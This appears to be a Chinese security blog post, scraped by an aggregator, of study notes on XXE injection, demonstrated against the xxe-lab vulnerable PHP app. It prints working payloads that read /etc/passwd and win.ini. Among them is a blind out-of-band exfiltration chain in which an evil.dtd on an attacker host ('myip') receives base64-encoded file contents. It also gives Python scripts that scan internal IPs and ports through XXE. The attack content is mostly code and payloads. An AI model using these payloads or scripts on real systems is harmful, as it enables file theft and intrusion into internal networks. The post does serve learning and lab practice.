Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:9559 篇
已收录公众号数量:89 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
XXE漏洞分析笔记
本文来自公众号:水滴安全实验室   2020.03.25 17:08:21

XXE漏洞背景

XML外部实体注入攻击,是对非安全的外部实体数据进行处理时引发的安全问题。 要想搞懂XXE,必须了解
  1. XML语法规则

  2. 外部实体的定 义及调用形

XML基础知识

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

XML语法规则:

  1. 所有的 XML元素都必须有一个关闭标签

  2. X ML标签对大小写敏感

  3. X ML必须正确嵌套

  4. XML属性值必须加引号""

  5. 实体引用

实体可以理解为就是写在 XML 文档中的 DTD Document type definition )里面的标签属性。

从引用内容的角度看实体分为两类: 内部实体和外部实体。 从另外一个角度看实体 也可以分为两类: 通用实体和参数实体,这两种分类其实有所交叉,下面会给出每种类型的定义,大家一看就明白了。

XML实体分类

  • 内部实体

(1)使用 & 实体名 ; 进行实体引用

<!ELEMENT foo ANY > 代码标识该 xml 文档里面的标签名称可以任意定义。

  • 外部实体

(1)在 DTD 中定义使用 SYSTEM 关键字

(2 使 & 实体名 ; 进行实体引用

  • 通用实体

(1) 使用 & 实体名 ; 进行实体引用;

(2 使 用实体可以引用内部实体也可以引用外部实体;

  • 参数实体

(1) 使用 % 实体名( % 和实体名之间的空格必须有)进行 DTD 实体定义;

(2 参数实体的引用使用 % 实体名 ; DTD 中进行引用(参数实体只能在 DTD 中进行引用);

(3 )参 数实体可以引用内部实体和外部实体;

明确了 XML 的实体类型,再看一下外部实体的调用方式,在 XXE 漏洞中主要运用的是参数实体的调用,主要有一级调用、二级调用和三级调用,多级调用时否解析要看被害者的服务器 libxml 版本。

XML实体调用

  • 一级调用

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [  <!ENTITY tutu SYSTEM "file:///etc/passwd"> ]> <creds>&tutu;</creds>
  • 二级调用( % 在二级调用里面要进行 html 编码)
<?xml version="1.0"?><!DOCTYPE test [    <!ENTITY % outside '<!ENTITY &#x25; files SYSTEM "file:///etc/passwd">'>]><message>&normal;</message>
  • 三级调用(引用的本机 dtd 文件,然后在内部重写 dtd 文件中含有的参数实体,需要将 % & 都进行 html 编码)
<?xml version="1.0"?><!DOCTYPE message [    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">    <!ENTITY % ISOamso '        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://myip/?&#x25;file;&#x27;>">        &#x25;eval;        &#x25;send;    '>     %remote;]><message>1234</message>

明确了 XML 的语法规则和外部实体的定义及调用方式

XXE攻击复现

使用 https://github.com/c0ny1/xxe-lab.git 这个实验环境进行模拟攻击

php 漏洞代码 :
<?php/*** autor: c0ny1* date: 2018-2-7*/
$USERNAME = 'admin'; //账号$PASSWORD = 'admin'; //密码$result = null;
libxml_disable_entity_loader(false);$xmlfile = file_get_contents('php://input');
try{ $dom = new DOMDocument();//创建XML的对象 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//将我们发送的字符串生成xml文档。 $creds = simplexml_import_dom($dom);//实例化xml文档
$username = $creds->username;//获取username标签的值 $password = $creds->password;//获取password标签的值
if($username == $USERNAME && $password == $PASSWORD){//将获取的值与前面的进行比较。... $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);//注意必须要有username这个标签,不然的话找不到username,就没有了输出了,我们也不能通过回显来获取信息了 }else{ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);//与上方相同,都会输出username的值,都可以达到我们的目的 } }catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());}
header('Content-Type: text/html; charset=utf-8');echo $result;?>
1. XXE 有回显读敏感文件
<?xml version="1.0"?><!DOCTYPE Mikasa [<!ENTITY test SYSTEM  "file:///c:/windows/win.ini">]><user><username>&test;</username><password>Mikasa</password></user>
2. Blind XXE 外带数据无回显读敏感文件
服务器起 web 服务,放入 evil.dtd 文件
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip:10001/?%file;'>">%start;
Payload (使用 php 协议将发送的数据进行 base64 编码)
<?xml version="1.0"?><!DOCTYPE message [    <!ENTITY % remote SYSTEM "http://myip/evil.dtd">      <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">    %remote;    %send;]><message>1234</message>

这个攻击流程简单描述:注入 payloads 后先在 DTD %remote; 引用远程恶意服务器上面的外部实体,引用进来的 evil.dtd 里面引用了 %start; ,最后使用 %send; 引用外部实体 http://myip:10001/?%file; 发起 http 请求包含外部实体 %file; 访问的 uri 就是经过 base64 编码的敏感数据。

3. 基于报错回显的 Blind XXE
恶意服务器 evil.dtd
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hahahaha/%file;'>">%start;
Payloads
<?xml version="1.0"?><!DOCTYPE message [    <!ENTITY % remote SYSTEM "http://myip/evil.dtd">    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///tmp/test.txt">    %remote;    %send;]><message>1234</message>
查看 php 报错日志

XXE 实战中的应用

我们可以使用 XXE 进行内网探测,可以先使用 file 协议读取一些服务器的通联记录或者网卡信息比如 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件,拿到这些信息,就能拿到内网的 IP 段,我们就可以使用 http 探测一下内网的 web 服务,进行内网的存活 ip 探测。

探测 python 脚本:
import requestsimport base64
def build_xml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """<xml>""" xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>""" xml = xml + "\r\n" + """</xml>""" # print(xml) send_xml(xml)
def send_xml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('http://xxe.com:8090/xxe-lab/php_xxe/', data=xml, headers=headers, timeout=5).text coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value print(coded_string)# print base64.b64decode(coded_string)for i in range(1, 255): try: i = str(i) ip = '192.168.2.' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print(string) build_xml(string) except: print("error")
内网端口探测:
import requestsimport base64

def build_xml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """<xml>""" xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>""" xml = xml + "\r\n" + """</xml>""" # print(xml) send_xml(xml)
def send_xml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('http://xxe.com:8090/xxe-lab/php_xxe/', data=xml, headers=headers, timeout=5).text coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value print(coded_string)# print base64.b64decode(coded_string)for i in range(1, 65535): try: i = str(i) ip = '192.168.2.1:' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print(string) build_xml(string) except: print("error")

脚本主要的原理是通过回显的 XXE 漏洞,探测内网开放 http 的服务,返回 web 服务的经过 base64 编码的 html 代码。 ctf 题目中,可能一个 webshell 是放在内网中的,可以直接构造 get 请求执行命令获取 flag

参考链接

  • https://xz.aliyun.com/t/3357

  • https://www.freebuf.com/vuls/207639.html

  • https://www.cnblogs.com/Mikasa-Ackerman/p/10987813.html